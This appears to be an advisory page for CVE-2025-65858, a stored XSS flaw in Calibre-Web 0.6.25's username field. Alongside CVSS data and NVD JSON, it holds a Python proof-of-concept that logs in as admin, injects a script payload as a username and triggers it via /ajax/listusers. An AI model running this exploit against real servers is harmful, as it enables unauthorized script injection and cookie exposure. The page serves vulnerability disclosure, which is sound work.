Security Vulnerability Report
中文
CVE-2025-65858 CVSS 3.5 LOW

CVE-2025-65858

Published: 2025-12-02 14:16:25
Last Modified: 2025-12-23 13:08:43

Description

A Stored Cross-Site Scripting (XSS) vulnerability in Calibre-Web v0.6.25 allows attackers to inject malicious JavaScript into the 'username' field during user creation. The payload is stored unsanitized and later executed when the /ajax/listusers endpoint is accessed.

CVSS Details

CVSS Score
3.5
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:janeczku:calibre-web:0.6.25:*:*:*:*:*:*:* - VULNERABLE
Calibre-Web < 0.6.25修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # Calibre-Web Stored XSS PoC - CVE-2025-65858 # Target: Calibre-Web v0.6.25 base_url = "http://target:8083" # XSS Payload for username field xss_payload = "<script>alert(document.cookie)</script>" # Step 1: Login as admin login_url = f"{base_url}/login" login_data = { "username": "admin", "password": "admin123" } session = requests.Session() response = session.post(login_url, data=login_data) # Step 2: Create user with XSS payload in username create_user_url = f"{base_url}/admin/user/new" user_data = { "name": xss_payload, "email": "[email protected]", "password": "Password123!", "role": "user" } response = session.post(create_user_url, data=user_data) # Step 3: Trigger XSS by accessing /ajax/listusers trigger_url = f"{base_url}/ajax/listusers" response = session.get(trigger_url) print(f"XSS payload injected: {xss_payload}") print(f"Response status: {response.status_code}") print(f"XSS will execute when admin visits /ajax/listusers")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65858", "sourceIdentifier": "[email protected]", "published": "2025-12-02T14:16:25.233", "lastModified": "2025-12-23T13:08:42.720", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Stored Cross-Site Scripting (XSS) vulnerability in Calibre-Web v0.6.25 allows attackers to inject malicious JavaScript into the 'username' field during user creation. The payload is stored unsanitized and later executed when the /ajax/listusers endpoint is accessed."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:janeczku:calibre-web:0.6.25:*:*:*:*:*:*:*", "matchCriteriaId": "BD3AE78D-5CBE-48F5-A6CA-CCE99CB2059A"}]}]}], "references": [{"url": "https://github.com/KhanhDuy155/calibre-web-CVE-2025-65858/blob/main/CVE-2025-65858.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}